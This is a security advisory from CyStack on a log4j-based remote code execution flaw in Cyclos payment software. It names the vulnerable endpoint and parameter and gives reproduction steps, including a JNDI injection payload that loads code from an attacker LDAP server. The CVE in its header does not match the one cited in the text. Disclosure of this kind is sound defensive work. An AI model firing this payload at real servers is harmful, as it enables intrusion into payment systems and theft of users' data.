Cyclos < 4.14.15 – Remote code execution
Hà Minh Châu
| CyStack Advisory ID | CSA-2021-01 |
|---|---|
| CVE IDs | CVE-2021-44832 |
| Severity | Critical |
| CVSS v3 Base | 10.0 |
Synopsis
Cyclos is a payment software created for banks, barters, remittances, and innovative currency systems. Cyclos is used by more than 1500 payment systems worldwide. CyStack recently found that Cyclos versions prior to 4.14.15 are vulnerable to the remote code execution vulnerability. The root cause of this flaw is that Cyclos used vulnerable library log4j (which is known as Log4Shell vulnerability) as a logging module.
This Cyclos vulnerability was used to attack a CyStack customer, exposing more than 2 million of their users’ personal information.
Details
In this analysis, CyStack used the Cyclos docker image version 4.14.9 downloaded from their Docker hub and its source code provided by STRO (the Cyclos development team).
Static analysis
Finding the applying of log4j in the codebase
The library log4j 2.14.1, which is vulnerable according to CVE-2021-44228, was found in Cyclos 4.14.9. The following figure shows proof of the availability of the log4j library in the folder lib of the Cyclos 4.14.9 project:
There were shreds of evidence that log4j functions are stated in cyclos4-web-4.14.9.jar and cyclos4-api-core-4.14.9.jar. These functions are marked in red boxes in the two figures below:
Finding the vulnerable entry points where the malicious JNDI injection payloads can be loaded
By tracking across multiple files in the Cyclos 4.14.9 project, the entry point was found in the function loadTranslations of the class TranslationMessagesController. It is the parameter submodule for the path /content/loadTranslations.
Steps to reproduce
For exploitation, CyStack used the tool Rogue JNDI, provided by Michael Stepankin. This tool provides LDAP and HTTP servers for exploiting insecure-by-default Java JNDI API. This vulnerability would be proved by an attempt on writing an arbitrary file to the directory /tmp of Cyclos server. The following figure illustrates the initial state of this directory:
We started our attack server that would write a file named pwned with the content pwned into the directory /tmp of victim server.
We sent a malicious request to a Cyclos server, locally deployed, with Burp Suite. The payload must follow this syntax:
${jndi:ldap://:/o=groovy}groovy is the supported payload from Rogue JNDI, which leads to RCE via unsafe reflection in org.apache.naming.factory.BeanFactory and groovy.lang.GroovyShell.
The first attempt on JNDI injection to Cyclos server was successful, proved by the sending signal on our attack server. This signal only appears when the Cyclos server starts JNDI lookups for the requested resource.
After a few seconds, we made a check on the directory /tmp in our local Cyclos server. A file named pwned was written in this folder.
CyStack looked for the logging files on the Cyclos server, and here’s the result:
It was a match with the produced exploitation.
Remediation
This issue can be mitigated by following one of these options:
- Upgrade Cyclos to version 4.14.15 or the latest version.
- Set a Java system property (for example, in Tomcat’s JAVA_OPTS):
-Dlog4j2.formatMsgNoLookups=true - Set the environment variable
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
